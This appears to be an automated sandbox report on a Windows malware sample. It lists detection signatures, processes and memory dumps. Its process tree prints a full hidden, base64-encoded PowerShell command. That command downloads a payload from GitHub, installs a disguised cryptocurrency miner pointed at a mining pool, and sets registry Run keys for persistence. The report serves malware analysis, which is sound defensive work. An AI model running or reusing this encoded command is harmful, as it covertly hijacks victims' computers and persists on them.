Analysis
- max time kernel
148s - max time network
152s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
13/10/2026, 22:17
General
- Target 2026-10-12_b819e705c01444e8116d78d91f4d6d37_glassworm_icedid_luca-stealer_njrat_stealc.exe
- Size 3.2MB
- Sample261013-17sq1ade49
- SHA256 8d8278c9e8cd285f5c1c8d25696222f91672b912d110c797777b1029625cfb98
Score
8/10
Malware Config
Signatures
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Checks BIOS information in registry 2 TTPs 1 IoCs
BIOS information is often read in order to detect sandboxing environments.
- Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Suspicious behavior: EnumeratesProcesses 33 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-10-12_b819e705c01444e8116d78d91f4d6d37_glassworm_icedid_luca-stealer_njrat_stealc.exe"C:\Users\Admin\AppData\Local\Temp\2026-10-12_b819e705c01444e8116d78d91f4d6d37_glassworm_icedid_luca-stealer_njrat_stealc.exe"1⤵
- Checks BIOS information in registry
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand JABkAD0AIgAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwATQBpAGMAcgBvAHMAbwBmAHQARQBkAGcAZQAiADsAJABwAD0AIgAkAGQAXABTAHkAcwB0AGUAbQBTAGUAdAB0AGkAbgBnAHMAQgByAG8AawBlAHIALgBlAHgAZQAiADsAbgBpACAAJABkACAALQBJAHQAZQBtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsADsAJABtAGsAPQB7ACAAJAB3AD0AKABHAGUAdAAtAEMAaQBtAEkAbgBzAHQAYQBuAGMAZQAgAFcAaQBuADMAMgBfAFYAaQBkAGUAbwBDAG8AbgB0AHIAbwBsAGwAZQByACAALQBFAEEAIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAHwAPwB7ACQAXwAuAE4AYQBtAGUAfQB8AHMAZQBsAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxACkALgBOAGEAbQBlADsAaQBmACgAJAB3ACkAewAkAHcAPQAoACQAdwAgAC0AcgBlAHAAbABhAGMAZQAgACcAWwBeAEEALQBaAGEALQB6ADAALQA5AF0AJwAsACcAJwApAH0AZQBsAHMAZQB7ACQAdwA9ACcAJwB9ADsAaQBmACgAJAB3AC4ATABlAG4AZwB0AGgAIAAtAGwAdAAgADIAKQB7ACQAdwA9ACgALQBqAG8AaQBuACAAKAAoADQAOAAuAC4ANQA3ACkAKwAoADYANQAuAC4AOQAwACkAfAAlAHsAWwBjAGgAYQByAF0AJABfAH0AfABHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBDAG8AdQBuAHQAIAA2ACkAKQB9ADsAUwBlAHQALQBDAG8AbgB0AGUAbgB0ACAAIgAkAGQAXABzAHQAYQByAHQALgB2AGIAcwAiACAAKAAnAFMAZQB0ACAAcwBoAD0AQwByAGUAYQB0AGUATwBiAGoAZQBjAHQAKAAiAFcAUwBjAHIAaQBwAHQALgBTAGgAZQBsAGwAIgApACAAOgAgAHMAaAAuAEMAdQByAHIAZQBuAHQARABpAHIAZQBjAHQAbwByAHkAPQBzAGgALgBFAHgAcABhAG4AZABFAG4AdgBpAHIAbwBuAG0AZQBuAHQAUwB0AHIAaQBuAGcAcwAoACIAJQBBAFAAUABEAEEAVABBACUAXABNAGkAYwByAG8AcwBvAGYAdABcAE0AaQBjAHIAbwBzAG8AZgB0AEUAZABnAGUAIgApACAAOgAgAHMAaAAuAFIAdQBuACAAIgBTAHkAcwB0AGUAbQBTAGUAdAB0AGkAbgBnAHMAQgByAG8AawBlAHIALgBlAHgAZQAgAC0ALQB1AHIAbAAgAHMAdAByAGEAdAB1AG0AKwBzAHMAbAA6AC8ALwBwAHIAbAAuAGsAcgB5AHAAdABlAHgALgBuAGUAdAB3AG8AcgBrADoAOAAwADQAOAAgAC0ALQB1AHMAZQByACAAcAByAGwAMQBwAGEAbABqAGMAYwA5AHkANwA0AHcAZQBjADMAMAB3AGUAdQB2AHcAZABtADIAOQBrADkAegAwADQAOQB6AHYAaAB4AHgAZAAzAGYAZwB6AGcAcABwADQANgBhAHcAOQBzAHkAcABmAHEAbAAyAGYAeQBqAHUALwAnACsAJAB3ACsAJwAgAC0ALQBnAHAAdQAtAGYAYQBuACAANgAwACIALAAgADAALAAgAEYAYQBsAHMAZQAnACkAIAAtAEUAbgBjAG8AZABpAG4AZwAgAEEAUwBDAEkASQA7AFMAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAFIAdQBuACcAIABTAHkAcwB0AGUAbQBTAGUAdAB0AGkAbgBnAHMAQgByAG8AawBlAHIAIAAoACcAdwBzAGMAcgBpAHAAdAAuAGUAeABlACAAIgAnACsAJABkACsAJwBcAHMAdABhAHIAdAAuAHYAYgBzACIAJwApADsAJABzAGEAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAEUAeABwAGwAbwByAGUAcgBcAFMAdABhAHIAdAB1AHAAQQBwAHAAcgBvAHYAZQBkAFwAUgB1AG4AJwA7AGkAZgAoAFQAZQBzAHQALQBQAGEAdABoACAAJABzAGEAKQB7AE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAkAHMAYQAgAC0ATgBhAG0AZQAgAFMAeQBzAHQAZQBtAFMAZQB0AHQAaQBuAGcAcwBCAHIAbwBrAGUAcgAgAC0AUAByAG8AcABlAHIAdAB5AFQAeQBwAGUAIABCAGkAbgBhAHIAeQAgAC0AVgBhAGwAdQBlACAAKABbAGIAeQB0AGUAWwBdAF0AKAAyACwAMAAsADAALAAwACwAMAAsADAALAAwACwAMAAsADAALAAwACwAMAAsADAAKQApACAALQBGAG8AcgBjAGUAIAAtAEUAQQAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAfABPAHUAdAAtAE4AdQBsAGwAfQAgAH0AOwAkAGwAawA9ACIAJABkAFwAYgBvAG8AdAAuAGwAbwBjAGsAIgA7ACQAZgBzAD0AJABuAHUAbABsADsAZgBvAHIAZQBhAGMAaAAoACQAaQAgAGkAbgAgADEALgAuADEAMgAwACkAewB0AHIAeQB7ACQAZgBzAD0AWwBJAE8ALgBGAGkAbABlAF0AOgA6AE8AcABlAG4AKAAkAGwAawAsACcATwBwAGUAbgBPAHIAQwByAGUAYQB0AGUAJwAsACcAUgBlAGEAZABXAHIAaQB0AGUAJwAsACcATgBvAG4AZQAnACkAOwBiAHIAZQBhAGsAfQBjAGEAdABjAGgAewBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAE0AaQBsAGwAaQBzAGUAYwBvAG4AZABzACAANQAwADAAfQB9ADsAaQBmACgALQBuAG8AdAAgACQAZgBzACkAewBlAHgAaQB0AH0AOwAkAHcAZAA9AGkAZgAoACQAZQBuAHYAOgB3AGkAbgBkAGkAcgApAHsAJABlAG4AdgA6AHcAaQBuAGQAaQByAH0AZQBsAHMAZQB7ACcAQwA6AFwAVwBpAG4AZABvAHcAcwAnAH0AOwAkAHIAdQBuAD0AJABmAGEAbABzAGUAOwBHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEUAQQAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAfAAlAHsAJABuAD0AJABfAC4ATgBhAG0AZQA7AHQAcgB5AHsAJABxAD0AJABfAC4AUABhAHQAaAB9AGMAYQB0AGMAaAB7ACQAcQA9ACcAJwB9ADsAaQBmACgAJABxACAALQBhAG4AZAAgACgAKAAkAHEAIAAtAGkAZQBxACAAJABwACkAIAAtAG8AcgAgACQAcQAuAFQAbwBMAG8AdwBlAHIAKAApAC4AUwB0AGEAcgB0AHMAVwBpAHQAaAAoACQAZAAuAFQAbwBMAG8AdwBlAHIAKAApACsAJwBcACcAKQAgAC0AbwByACAAKAAkAG4AIAAtAGkAZQBxACAAJwBTAHkAcwB0AGUAbQBTAGUAdAB0AGkAbgBnAHMAQgByAG8AawBlAHIAJwAgAC0AYQBuAGQAIAAtAG4AbwB0ACAAJABxAC4AVABvAEwAbwB3AGUAcgAoACkALgBTAHQAYQByAHQAcwBXAGkAdABoACgAJAB3AGQALgBUAG8ATABvAHcAZQByACgAKQApACkAKQApAHsAJAByAHUAbgA9ACQAdAByAHUAZQB9AH0AOwBpAGYAKAAkAHIAdQBuACkAewAkAGsAdgA9ACgARwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AUABhAHQAaAAgACcASABLAEMAVQA6AFwAUwBvAGYAdAB3AGEAcgBlAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAUgB1AG4AJwAgAC0ATgBhAG0AZQAgAFMAeQBzAHQAZQBtAFMAZQB0AHQAaQBuAGcAcwBCAHIAbwBrAGUAcgAgAC0ARQBBACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAC4AJwBTAHkAcwB0AGUAbQBTAGUAdAB0AGkAbgBnAHMAQgByAG8AawBlAHIAJwA7AGkAZgAoACgALQBuAG8AdAAgACgAVABlAHMAdAAtAFAAYQB0AGgAIAAiACQAZABcAHMAdABhAHIAdAAuAHYAYgBzACIAKQApACAALQBvAHIAIAAoAC0AbgBvAHQAIAAkAGsAdgApACAALQBvAHIAIAAoAC0AbgBvAHQAIAAkAGsAdgAuAEMAbwBuAHQAYQBpAG4AcwAoACQAZAApACkAKQB7ACYAIAAkAG0AawB9ADsAZQB4AGkAdAB9ADsAZgBvAHIAZQBhAGMAaAAoACQAaQAgAGkAbgAgADEALgAuADQAMAApAHsAaQBmACgAVABlAHMAdAAtAFAAYQB0AGgAIAAkAHAAKQB7AHQAcgB5AHsAWwBJAE8ALgBGAGkAbABlAF0AOgA6AEQAZQBsAGUAdABlACgAJABwACkAOwBiAHIAZQBhAGsAfQBjAGEAdABjAGgAewBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAE0AaQBsAGwAaQBzAGUAYwBvAG4AZABzACAANQAwADAAfQB9AGUAbABzAGUAewBiAHIAZQBhAGsAfQB9ADsAJAB6AD0AIgAkAGQAXABrAC4AegBpAHAAIgA7AGkAdwByACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwAgACcAaAB0AHQAcABzADoALwAvAGcAaQB0AGgAdQBiAC4AYwBvAG0ALwBkAGkAZwBpAHQAYQBsAGYAbwByAGUAbgBzAGkAawBlAHIALwBtAHkAcgBlAGEAZABtAGUALwByAGEAdwAvAHIAZQBmAHMALwBoAGUAYQBkAHMALwBtAGEAaQBuAC8AcgBlAGEAZABtAGUALgB6AGkAcAAnACAALQBPAHUAdABGAGkAbABlACAAJAB6ADsARQB4AHAAYQBuAGQALQBBAHIAYwBoAGkAdgBlACAAJAB6ACAAJABkACAALQBGAG8AcgBjAGUAOwBNAG8AdgBlAC0ASQB0AGUAbQAgACIAJABkAFwAcgBlAGEAZABtAGUALgBtAGQAIgAgACQAcAAgAC0ARgBvAHIAYwBlADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAAJAB6ACwAIgAkAGQAXABTAHQAYQByAHQALQBQAGUAYQByAGwALgBiAGEAdAAiACwAIgAkAGQAXABTAHQAYQByAHQALQBRAHUAYQBuAHQAdQBzAC4AYgBhAHQAIgAgAC0ARgBvAHIAYwBlACAALQBFAEEAIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAJgAgACQAbQBrADsAdwBzAGMAcgBpAHAAdAAuAGUAeABlACAAIgAkAGQAXABzAHQAYQByAHQALgB2AGIAcwAiAA==2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
memory/5620-0-0x00007FFD973EF000-0x00007FFD973F0000-memory.dmp
memory/5620-1-0x00007FFD97260000-0x00007FFD97C04000-memory.dmp
memory/5620-2-0x00007FFD97260000-0x00007FFD97C04000-memory.dmp
memory/5620-6-0x00007FFD97260000-0x00007FFD97C04000-memory.dmp
memory/5620-5-0x0000023E5D510000-0x0000023E5D532000-memory.dmp
memory/5620-7-0x00007FFD97260000-0x00007FFD97C04000-memory.dmp
memory/5620-8-0x00007FFD97260000-0x00007FFD97C04000-memory.dmp
memory/5620-9-0x00007FFD97260000-0x00007FFD97C04000-memory.dmp
memory/5620-10-0x00007FFD97260000-0x00007FFD97C04000-memory.dmp
memory/5620-11-0x00007FFD97260000-0x00007FFD97C04000-memory.dmp
memory/5620-12-0x00007FFD97260000-0x00007FFD97C04000-memory.dmp
memory/5620-13-0x00007FFD97260000-0x00007FFD97C04000-memory.dmp
memory/5620-14-0x00007FFD97260000-0x00007FFD97C04000-memory.dmp
memory/5620-16-0x00007FFD97260000-0x00007FFD97C04000-memory.dmp
memory/5620-17-0x00007FFD97260000-0x00007FFD97C04000-memory.dmp
memory/5620-18-0x00007FFD97260000-0x00007FFD97C04000-memory.dmp
memory/5620-19-0x00007FFD97260000-0x00007FFD97C04000-memory.dmp
memory/5620-20-0x00007FFD97260000-0x00007FFD97C04000-memory.dmp